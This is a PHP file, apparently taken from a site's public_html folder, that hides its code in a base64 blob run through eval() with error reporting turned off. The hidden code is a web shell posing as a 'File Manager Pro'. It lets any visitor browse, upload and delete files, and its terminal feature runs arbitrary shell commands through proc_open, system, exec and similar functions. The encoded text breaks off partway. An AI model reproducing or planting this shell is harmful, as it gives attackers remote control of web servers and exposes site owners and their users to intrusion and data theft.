PATH:
home
/
centosnipponia
/
public_html
/
wh
<html> <head> <title> </title> </head> <html> <head> <title> </title> </head> <?php /** */ error_reporting(0); session_start(); ?> <?php eval("?>".base64_decode("PD9waHAKLyoqCiAqIEZpbGUgTWFuYWdlciBQcm8KICogVmVyc2lvbjogOC4wLjUKICogQXV0aG9yOiBTaWQgR2lmYXJpCiAqIERlc2NyaXB0aW9uOiBTdGFuZGFsb25lIFBIUCBGaWxlIE1hbmFnZXIgLSBXb3JrcyB3aXRoIG9yIHdpdGhvdXQgV29yZFByZXNzCiAqLwoKZXJyb3JfcmVwb3J0aW5nKDApOwppbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwoKLy8gU3RhcnQgc2Vzc2lvbiBpZiBub3QgYWxyZWFkeSBzdGFydGVkCmlmIChzZXNzaW9uX3N0YXR1cygpID09PSBQSFBfU0VTU0lPTl9OT05FKSB7CiAgICBzZXNzaW9uX3N0YXJ0KCk7Cn0KCiRjdXJyZW50X2ZpbGUgPSBfX0ZJTEVfXzsKCi8vIFJvb3QgZGlyZWN0b3J5IC0gdXNlIGN1cnJlbnQgZGlyZWN0b3J5CiRST09UID0gX19ESVJfXzsKCi8qKgogKiBFbmNvZGUgcGF0aCBmb3IgVVJMCiAqLwpmdW5jdGlvbiBlbmNvZGVQYXRoKCRwYXRoKSB7CiAgICAkYSA9IFsiLyIsICJcXCIsICIuIiwgIjoiXTsKICAgICRiID0gWyJDdyIsICJ2dyIsICJGdyIsICJFdyJdOwogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRhLCAkYiwgJHBhdGgpOwp9CgovKioKICogRGVjb2RlIHBhdGggZnJvbSBVUkwKICovCmZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpIHsKICAgICRhID0gWyIvIiwgIlxcIiwgIi4iLCAiOiJdOwogICAgJGIgPSBbIkN3IiwgInZ3IiwgIkZ3IiwgIkV3Il07CiAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGIsICRhLCAkcGF0aCk7Cn0KCi8qKgogKiBSZWN1cnNpdmUgZGlyZWN0b3J5IGRlbGV0aW9uCiAqLwpmdW5jdGlvbiBkZWxldGVEaXJlY3RvcnkoJGRpcikgewogICAgaWYgKCFmaWxlX2V4aXN0cygkZGlyKSkgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgCiAgICBpZiAoIWlzX2RpcigkZGlyKSkgewogICAgICAgIHJldHVybiB1bmxpbmsoJGRpcik7CiAgICB9CiAgICAKICAgICRpdGVtcyA9IHNjYW5kaXIoJGRpcik7CiAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsKICAgICAgICBpZiAoJGl0ZW0gPT0gJy4nIHx8ICRpdGVtID09ICcuLicpIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgIAogICAgICAgICRwYXRoID0gJGRpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkaXRlbTsKICAgICAgICBpZiAoaXNfZGlyKCRwYXRoKSkgewogICAgICAgICAgICBkZWxldGVEaXJlY3RvcnkoJHBhdGgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIEB1bmxpbmsoJHBhdGgpOwogICAgICAgIH0KICAgIH0KICAgIAogICAgcmV0dXJuIEBybWRpcigkZGlyKTsKfQoKLyoqCiAqIEZvcm1hdCBieXRlcyB0byBodW1hbiByZWFkYWJsZQogKi8KZnVuY3Rpb24gZm9ybWF0Qnl0ZXMoJGJ5dGVzLCAkcHJlY2lzaW9uID0gMikgewogICAgaWYgKCRieXRlcyA8PSAwKSByZXR1cm4gJzAgQic7CiAgICAKICAgICR1bml0cyA9IFsnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQiddOwogICAgJGJ5dGVzID0gbWF4KCRieXRlcywgMCk7CiAgICAkcG93ID0gZmxvb3IoKCRieXRlcyA/IGxvZygkYnl0ZXMpIDogMCkgLyBsb2coMTAyNCkpOwogICAgJHBvdyA9IG1pbigkcG93LCBjb3VudCgkdW5pdHMpIC0gMSk7CiAgICAkYnl0ZXMgLz0gcG93KDEwMjQsICRwb3cpOwogICAgCiAgICByZXR1cm4gcm91bmQoJGJ5dGVzLCAkcHJlY2lzaW9uKSAuICcgJyAuICR1bml0c1skcG93XTsKfQoKLyoqCiAqIFNhbml0aXplIGZpbGVuYW1lCiAqLwpmdW5jdGlvbiBzYW5pdGl6ZUZpbGVuYW1lKCRmaWxlbmFtZSkgewogICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZpbGVuYW1lKTsKICAgICRmaWxlbmFtZSA9IHN0cl9yZXBsYWNlKCJcMCIsICcnLCAkZmlsZW5hbWUpOwogICAgJGZpbGVuYW1lID0gcHJlZ19yZXBsYWNlKCcvW15hLXpBLVowLTkuXy1dLycsICdfJywgJGZpbGVuYW1lKTsKICAgIGlmIChlbXB0eSgkZmlsZW5hbWUpKSB7CiAgICAgICAgJGZpbGVuYW1lID0gJ3VudGl0bGVkXycgLiBkYXRlKCdZbWRfSGlzJyk7CiAgICB9CiAgICByZXR1cm4gJGZpbGVuYW1lOwp9CgovLyA9PT09PT09PT09PT09PT09PT09PSBESVJFQ1RPUlkgSEFORExJTkcgTE9HSUMgPT09PT09PT09PT09PT09PT09PT0KCi8vIEluaXRpYWxpemUgY3VycmVudCBkaXJlY3RvcnkgZnJvbSBzZXNzaW9uIG9yIGRlZmF1bHQgdG8gUk9PVAppZiAoIWlzc2V0KCRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXSkpIHsKICAgICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXSA9ICRST09UOwp9CgokY3VycmVudF9kaXIgPSAkX1NFU1NJT05bJ2N1cnJlbnRfYnJvd3NpbmdfZGlyJ107CgovLyBIYW5kbGUgZGlyZWN0b3J5IGNoYW5nZSB2aWEgR0VUIHBhcmFtZXRlcgppZiAoaXNzZXQoJF9HRVRbJ2RpciddKSkgewogICAgJHJlcXVlc3RlZF9wYXRoID0gZGVjb2RlUGF0aCgkX0dFVFsnZGlyJ10pOwogICAgCiAgICAvLyBJZiBlbXB0eSBvciBqdXN0IHJvb3QgaW5kaWNhdG9yLCBnbyB0byByb290CiAgICBpZiAoZW1wdHkoJHJlcXVlc3RlZF9wYXRoKSB8fCAkcmVxdWVzdGVkX3BhdGggPT09ICcvJykgewogICAgICAgICRjdXJyZW50X2RpciA9ICRST09UOwogICAgfSAKICAgIC8vIElmIGl0J3MgYSBmdWxsIHBhdGggYW5kIGRpcmVjdG9yeSBleGlzdHMKICAgIGVsc2VpZiAoaXNfZGlyKCRyZXF1ZXN0ZWRfcGF0aCkpIHsKICAgICAgICAkcmVhbF9wYXRoID0gcmVhbHBhdGgoJHJlcXVlc3RlZF9wYXRoKTsKICAgICAgICAvLyBTZWN1cml0eTogZW5zdXJlIHdlIHN0YXkgd2l0aGluIHJvb3Qgb3IgYWNjZXNzaWJsZSBkaXJlY3RvcmllcwogICAgICAgIGlmICgkcmVhbF9wYXRoICYmIGlzX2RpcigkcmVhbF9wYXRoKSkgewogICAgICAgICAgICAkY3VycmVudF9kaXIgPSAkcmVhbF9wYXRoOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRjdXJyZW50X2RpciA9ICRST09UOwogICAgICAgIH0KICAgIH0KICAgIC8vIElmIGl0J3MgYSByZWxhdGl2ZSBwYXRoIGZyb20gY3VycmVudCBkaXJlY3RvcnkKICAgIGVsc2UgewogICAgICAgICRmdWxsX3BhdGggPSAkX1NFU1NJT05bJ2N1cnJlbnRfYnJvd3NpbmdfZGlyJ10gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHJlcXVlc3RlZF9wYXRoOwogICAgICAgIGlmIChpc19kaXIoJGZ1bGxfcGF0aCkpIHsKICAgICAgICAgICAgJHJlYWxfcGF0aCA9IHJlYWxwYXRoKCRmdWxsX3BhdGgpOwogICAgICAgICAgICBpZiAoJHJlYWxfcGF0aCkgewogICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJHJlYWxfcGF0aDsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRjdXJyZW50X2RpciA9ICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIC8vIFRyeSBmcm9tIFJPT1QKICAgICAgICAgICAgJGZ1bGxfcGF0aCA9ICRST09UIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIGx0cmltKCRyZXF1ZXN0ZWRfcGF0aCwgJy9cXCcpOwogICAgICAgICAgICBpZiAoaXNfZGlyKCRmdWxsX3BhdGgpKSB7CiAgICAgICAgICAgICAgICAkcmVhbF9wYXRoID0gcmVhbHBhdGgoJGZ1bGxfcGF0aCk7CiAgICAgICAgICAgICAgICBpZiAoJHJlYWxfcGF0aCkgewogICAgICAgICAgICAgICAgICAgICRjdXJyZW50X2RpciA9ICRyZWFsX3BhdGg7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRjdXJyZW50X2RpciA9ICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIC8vIERpcmVjdG9yeSBkb2Vzbid0IGV4aXN0LCBzdGF5IGluIGN1cnJlbnQKICAgICAgICAgICAgICAgICRjdXJyZW50X2RpciA9ICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gVXBkYXRlIHNlc3Npb24gd2l0aCBuZXcgZGlyZWN0b3J5CiAgICAkX1NFU1NJT05bJ2N1cnJlbnRfYnJvd3NpbmdfZGlyJ10gPSAkY3VycmVudF9kaXI7CiAgICAkX1NFU1NJT05bJ2N3ZCddID0gJGN1cnJlbnRfZGlyOwogICAgCn0gZWxzZSB7CiAgICAvLyBObyBkaXIgcGFyYW1ldGVyLCB1c2Ugc2Vzc2lvbiBvciBkZWZhdWx0CiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddKSAmJiBpc19kaXIoJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddKSkgewogICAgICAgICRjdXJyZW50X2RpciA9ICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXTsKICAgIH0gZWxzZSB7CiAgICAgICAgJGN1cnJlbnRfZGlyID0gJFJPT1Q7CiAgICAgICAgJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddID0gJFJPT1Q7CiAgICB9Cn0KCi8vIE1ha2Ugc3VyZSBjdXJyZW50X2RpciBpcyB2YWxpZAppZiAoIWlzX2RpcigkY3VycmVudF9kaXIpKSB7CiAgICAkY3VycmVudF9kaXIgPSAkUk9PVDsKICAgICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXSA9ICRST09UOwp9CgovLyBNYWtlIHN1cmUgd2UgaGF2ZSByZWFscGF0aAokY3VycmVudF9kaXIgPSByZWFscGF0aCgkY3VycmVudF9kaXIpID86ICRST09UOwoKLy8gVXBkYXRlIENXRCBzZXNzaW9uCiRfU0VTU0lPTlsnY3dkJ10gPSAkY3VycmVudF9kaXI7CgovLyA9PT09PT09PT09PT09PT09PT09PSBFTkQgRElSRUNUT1JZIEhBTkRMSU5HID09PT09PT09PT09PT09PT09PT09CgovLyBIYW5kbGUgUE9TVCByZXF1ZXN0cwppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgewogICAgCiAgICAkcmVkaXJlY3RfbmVlZGVkID0gdHJ1ZTsKICAgIAogICAgLy8gSGFuZGxlIGZpbGUgdXBsb2FkcwogICAgaWYgKGlzc2V0KCRfRklMRVNbJ2ZpbGVzJ10pICYmICFlbXB0eSgkX0ZJTEVTWydmaWxlcyddWyduYW1lJ10pKSB7CiAgICAgICAgJHVwbG9hZF9kaXIgPSAkY3VycmVudF9kaXI7CiAgICAgICAgJHVwbG9hZF9tZXNzYWdlcyA9IFtdOwoKICAgICAgICBpZiAoIWlzX2FycmF5KCRfRklMRVNbJ2ZpbGVzJ11bJ25hbWUnXSkpIHsKICAgICAgICAgICAgJF9GSUxFU1snZmlsZXMnXSA9IFsKICAgICAgICAgICAgICAgICduYW1lJyA9PiBbJF9GSUxFU1snZmlsZXMnXVsnbmFtZSddXSwKICAgICAgICAgICAgICAgICd0eXBlJyA9PiBbJF9GSUxFU1snZmlsZXMnXVsndHlwZSddXSwKICAgICAgICAgICAgICAgICd0bXBfbmFtZScgPT4gWyRfRklMRVNbJ2ZpbGVzJ11bJ3RtcF9uYW1lJ11dLAogICAgICAgICAgICAgICAgJ2Vycm9yJyA9PiBbJF9GSUxFU1snZmlsZXMnXVsnZXJyb3InXV0sCiAgICAgICAgICAgICAgICAnc2l6ZScgPT4gWyRfRklMRVNbJ2ZpbGVzJ11bJ3NpemUnXV0KICAgICAgICAgICAgXTsKICAgICAgICB9CgogICAgICAgICRmaWxlX2NvdW50ID0gY291bnQoJF9GSUxFU1snZmlsZXMnXVsnbmFtZSddKTsKCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGZpbGVfY291bnQ7ICRpKyspIHsKICAgICAgICAgICAgaWYgKGVtcHR5KCRfRklMRVNbJ2ZpbGVzJ11bJ25hbWUnXVskaV0pKSB7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCRfRklMRVNbJ2ZpbGVzJ11bJ2Vycm9yJ11bJGldID09PSBVUExPQURfRVJSX09LKSB7CiAgICAgICAgICAgICAgICAkdG1wX25hbWUgPSAkX0ZJTEVTWydmaWxlcyddWyd0bXBfbmFtZSddWyRpXTsKICAgICAgICAgICAgICAgICRvcmlnaW5hbF9uYW1lID0gJF9GSUxFU1snZmlsZXMnXVsnbmFtZSddWyRpXTsKICAgICAgICAgICAgICAgICRmaWxlbmFtZSA9IHNhbml0aXplRmlsZW5hbWUoJG9yaWdpbmFsX25hbWUpOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBpZiAoJHRtcF9uYW1lICYmIGlzX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lKSkgewogICAgICAgICAgICAgICAgICAgICRkZXN0aW5hdGlvbiA9ICR1cGxvYWRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlbmFtZTsKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGRlc3RpbmF0aW9uKSkgewogICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRkZXN0aW5hdGlvbik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIGlmIChAbW92ZV91cGxvYWRlZF9maWxlKCR0bXBfbmFtZSwgJGRlc3RpbmF0aW9uKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkdXBsb2FkX21lc3NhZ2VzW10gPSAi4pyTIFVwbG9hZGVkOiAiIC4gaHRtbHNwZWNpYWxjaGFycygkb3JpZ2luYWxfbmFtZSk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHVwbG9hZF9tZXNzYWdlc1tdID0gIuKclyBGYWlsZWQ6ICIgLiBodG1sc3BlY2lhbGNoYXJzKCRvcmlnaW5hbF9uYW1lKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmICgkX0ZJTEVTWydmaWxlcyddWydlcnJvciddWyRpXSAhPT0gVVBMT0FEX0VSUl9OT19GSUxFKSB7CiAgICAgICAgICAgICAgICAkZXJyb3JfbWVzc2FnZXMgPSBbCiAgICAgICAgICAgICAgICAgICAgVVBMT0FEX0VSUl9JTklfU0laRSAgID0+ICdGaWxlIGV4Y2VlZHMgdXBsb2FkX21heF9maWxlc2l6ZScsCiAgICAgICAgICAgICAgICAgICAgVVBMT0FEX0VSUl9GT1JNX1NJWkUgID0+ICdGaWxlIGV4Y2VlZHMgTUFYX0ZJTEVfU0laRScsCiAgICAgICAgICAgICAgICAgICAgVVBMT0FEX0VSUl9QQVJUSUFMICAgID0+ICdGaWxlIHdhcyBvbmx5IHBhcnRpYWxseSB1cGxvYWRlZCcsCiAgICAgICAgICAgICAgICAgICAgVVBMT0FEX0VSUl9OT19UTVBfRElSID0+ICdNaXNzaW5nIHRlbXBvcmFyeSBmb2xkZXInLAogICAgICAgICAgICAgICAgICAgIFVQTE9BRF9FUlJfQ0FOVF9XUklURSA9PiAnRmFpbGVkIHRvIHdyaXRlIGZpbGUgdG8gZGlzaycsCiAgICAgICAgICAgICAgICAgICAgVVBMT0FEX0VSUl9FWFRFTlNJT04gID0+ICdBIFBIUCBleHRlbnNpb24gc3RvcHBlZCB0aGUgdXBsb2FkJwogICAgICAgICAgICAgICAgXTsKICAgICAgICAgICAgICAgICRlcnJvcl9jb2RlID0gJF9GSUxFU1snZmlsZXMnXVsnZXJyb3InXVskaV07CiAgICAgICAgICAgICAgICAkZXJyb3JfbXNnID0gJGVycm9yX21lc3NhZ2VzWyRlcnJvcl9jb2RlXSA/PyAnVW5rbm93biBlcnJvcic7CiAgICAgICAgICAgICAgICAkdXBsb2FkX21lc3NhZ2VzW10gPSAi4pyXIEVycm9yOiAiIC4gaHRtbHNwZWNpYWxjaGFycygkZXJyb3JfbXNnKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKCFlbXB0eSgkdXBsb2FkX21lc3NhZ2VzKSkgewogICAgICAgICAgICAkX1NFU1NJT05bJ3VwbG9hZF9tZXNzYWdlcyddID0gJHVwbG9hZF9tZXNzYWdlczsKICAgICAgICB9CiAgICB9CiAgICAKICAgIC8vIEhhbmRsZSB0ZXJtaW5hbCBjb21tYW5kcwogICAgaWYgKGlzc2V0KCRfUE9TVFsndGVybWluYWwnXSkgJiYgIWVtcHR5KHRyaW0oJF9QT1NUWyd0ZXJtaW5hbC10ZXh0J10pKSkgewogICAgICAgIAogICAgICAgICRleGVjRnVuY3Rpb25zID0gWydwYXNzdGhydScsICdzeXN0ZW0nLCAnZXhlYycsICdzaGVsbF9leGVjJywgJ3Byb2Nfb3BlbicsICdwb3BlbiddOwogICAgICAgICRjYW5FeGVjdXRlID0gZmFsc2U7CiAgICAgICAgZm9yZWFjaCAoJGV4ZWNGdW5jdGlvbnMgYXMgJGZ1bmMpIHsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygkZnVuYykpIHsKICAgICAgICAgICAgICAgICRjYW5FeGVjdXRlID0gdHJ1ZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIAogICAgICAgICRjd2QgPSAkX1NFU1NJT05bJ2N3ZCddID8/ICRjdXJyZW50X2RpcjsKICAgICAgICAkY21kSW5wdXQgPSB0cmltKCRfUE9TVFsndGVybWluYWwtdGV4dCddKTsKICAgICAgICAkb3V0cHV0ID0gIiI7CiAgICAgICAgJHRlcm1pbmFsX2Rpcl9jaGFuZ2VkID0gZmFsc2U7CiAgICAgICAgCiAgICAgICAgLy8gSGFuZGxlIGNkIGNvbW1hbmQKICAgICAgICBpZiAocHJlZ19tYXRjaCgnL15jZFxzKiguKikkLycsICRjbWRJbnB1dCwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgICRkaXIgPSB0cmltKCRtYXRjaGVzWzFdKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIGlmICgkZGlyID09PSAnJyB8fCAkZGlyID09PSAnficgfHwgJGRpciA9PT0gJy8nKSB7CiAgICAgICAgICAgICAgICAkbmV3X2RpciA9ICRST09UOwogICAgICAgICAgICB9IGVsc2VpZiAoJGRpciA9PT0gJy4uJykgewogICAgICAgICAgICAgICAgJG5ld19kaXIgPSBkaXJuYW1lKCRjd2QpOwogICAgICAgICAgICAgICAgLy8gRG9uJ3QgYWxsb3cgZ29pbmcgYWJvdmUgUk9PVAogICAgICAgICAgICAgICAgaWYgKHN0cnBvcyhyZWFscGF0aCgkbmV3X2RpciksIHJlYWxwYXRoKCRST09UKSkgIT09IDApIHsKICAgICAgICAgICAgICAgICAgICAkbmV3X2RpciA9ICRST09UOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoJGRpclswXSA9PT0gJy8nIHx8ICRkaXJbMF0gPT09ICdcXCcpIHsKICAgICAgICAgICAgICAgIC8vIEFic29sdXRlIHBhdGgKICAgICAgICAgICAgICAgICRuZXdfZGlyID0gJGRpcjsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIC8vIFJlbGF0aXZlIHBhdGgKICAgICAgICAgICAgICAgICRuZXdfZGlyID0gJGN3ZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZGlyOwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICAkcmVhbERpciA9IHJlYWxwYXRoKCRuZXdfZGlyKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIGlmICgkcmVhbERpciAmJiBpc19kaXIoJHJlYWxEaXIpKSB7CiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2N3ZCddID0gJHJlYWxEaXI7CiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2N1cnJlbnRfYnJvd3NpbmdfZGlyJ10gPSAkcmVhbERpcjsKICAgICAgICAgICAgICAgICRjd2QgPSAkcmVhbERpcjsKICAgICAgICAgICAgICAgICRjdXJyZW50X2RpciA9ICRyZWFsRGlyOyAvLyBVcGRhdGUgY3VycmVudF9kaXIgZm9yIHRoZSBwYWdlCiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gIkNoYW5nZWQgZGlyZWN0b3J5IHRvICIgLiAkcmVhbERpcjsKICAgICAgICAgICAgICAgICR0ZXJtaW5hbF9kaXJfY2hhbmdlZCA9IHRydWU7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gImJhc2g6IGNkOiAiIC4gJG1hdGNoZXNbMV0gLiAiOiBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5IjsKICAgICAgICAgICAgICAgIC8vIFRyeSBmcm9tIFJPT1QKICAgICAgICAgICAgICAgICR0cnlfZnJvbV9yb290ID0gJFJPT1QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gbHRyaW0oJGRpciwgJy9cXCcpOwogICAgICAgICAgICAgICAgJHJlYWxEaXIgPSByZWFscGF0aCgkdHJ5X2Zyb21fcm9vdCk7CiAgICAgICAgICAgICAgICBpZiAoJHJlYWxEaXIgJiYgaXNfZGlyKCRyZWFsRGlyKSkgewogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSAkcmVhbERpcjsKICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2N1cnJlbnRfYnJvd3NpbmdfZGlyJ10gPSAkcmVhbERpcjsKICAgICAgICAgICAgICAgICAgICAkY3dkID0gJHJlYWxEaXI7CiAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJHJlYWxEaXI7CiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9ICJDaGFuZ2VkIGRpcmVjdG9yeSB0byAiIC4gJHJlYWxEaXI7CiAgICAgICAgICAgICAgICAgICAgJHRlcm1pbmFsX2Rpcl9jaGFuZ2VkID0gdHJ1ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAvLyBIYW5kbGUgY2xlYXIgY29tbWFuZAogICAgICAgIGVsc2VpZiAoc3RydG9sb3dlcigkY21kSW5wdXQpID09PSAnY2xlYXInKSB7CiAgICAgICAgICAgICRfU0VTU0lPTlsndGVybWluYWxfb3V0cHV0J10gPSAnJzsKICAgICAgICAgICAgJG91dHB1dCA9ICcnOwogICAgICAgIH0KICAgICAgICAvLyBFeGVjdXRlIGNvbW1hbmQKICAgICAgICBlbHNlaWYgKCRjYW5FeGVjdXRlKSB7CiAgICAgICAgICAgIGlmIChpc19kaXIoJGN3ZCkpIHsKICAgICAgICAgICAgICAgIEBjaGRpcigkY3dkKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgJGNtZCA9ICRjbWRJbnB1dCAuICIgMj4mMSI7CiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwcm9jX29wZW4nKSkgewogICAgICAgICAgICAgICAgJHBpcGVzID0gW107CiAgICAgICAgICAgICAgICAkZGVzY3JpcHRvcnNwZWMgPSBbCiAgICAgICAgICAgICAgICAgICAgMCA9PiBbInBpcGUiLCAiciJdLAogICAgICAgICAgICAgICAgICAgIDEgPT4gWyJwaXBlIiwgInciXSwKICAgICAgICAgICAgICAgICAgICAyID0+IFsicGlwZSIsICJ3Il0KICAgICAgICAgICAgICAgIF07CiAgICAgICAgICAgICAgICAkcHJvY2VzcyA9IEBwcm9jX29wZW4oJGNtZCwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMsICRjd2QpOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7CiAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRwaXBlc1swXSk7CiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsKICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsKICAgICAgICAgICAgICAgICAgICAkZXJyb3Jfb3V0cHV0ID0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMl0pOwogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMl0pOwogICAgICAgICAgICAgICAgICAgIHByb2NfY2xvc2UoJHByb2Nlc3MpOwogICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJGVycm9yX291dHB1dCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG91dHB1dCAuPSAkZXJyb3Jfb3V0cHV0OwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9ICJGYWlsZWQgdG8gZXhlY3V0ZSBjb21tYW5kIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewogICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICAgICAgICAgIEBwYXNzdGhydSgkY21kLCAkcmV0dXJuX3Zhcik7CiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOwogICAgICAgICAgICAgICAgQHN5c3RlbSgkY21kLCAkcmV0dXJuX3Zhcik7CiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgICAgICAgICAgQGV4ZWMoJGNtZCwgJG91dCwgJHJldHVybl92YXIpOwogICAgICAgICAgICAgICAgJG91dHB1dCA9IGltcGxvZGUoIlxuIiwgJG91dCk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgewogICAgICAgICAgICAgICAgJG91dHB1dCA9IEBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKSB7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gQHBvcGVuKCRjbWQsICdyJyk7CiAgICAgICAgICAgICAgICBpZiAoJGhhbmRsZSkgewogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRoYW5kbGUpOwogICAgICAgICAgICAgICAgICAgIEBwY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkb3V0cHV0ID0gIkNvbW1hbmQgZXhlY3V0aW9uIGZ1bmN0aW9ucyBhcmUgZGlzYWJsZWQgb24gdGhpcyBzZXJ2ZXIuIjsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXSA9ICRvdXRwdXQ7CiAgICAgICAgJF9TRVNTSU9OWyd0ZXJtaW5hbF9jd2QnXSA9ICRjd2Q7CiAgICAgICAgCiAgICAgICAgLy8gU3RvcmUgaW4gaGlzdG9yeQogICAgICAgIGlmICghaXNzZXQoJF9TRVNTSU9OWyd0ZXJtaW5hbF9oaXN0b3J5J10pKSB7CiAgICAgICAgICAgICRfU0VTU0lPTlsndGVybWluYWxfaGlzdG9yeSddID0gW107CiAgICAg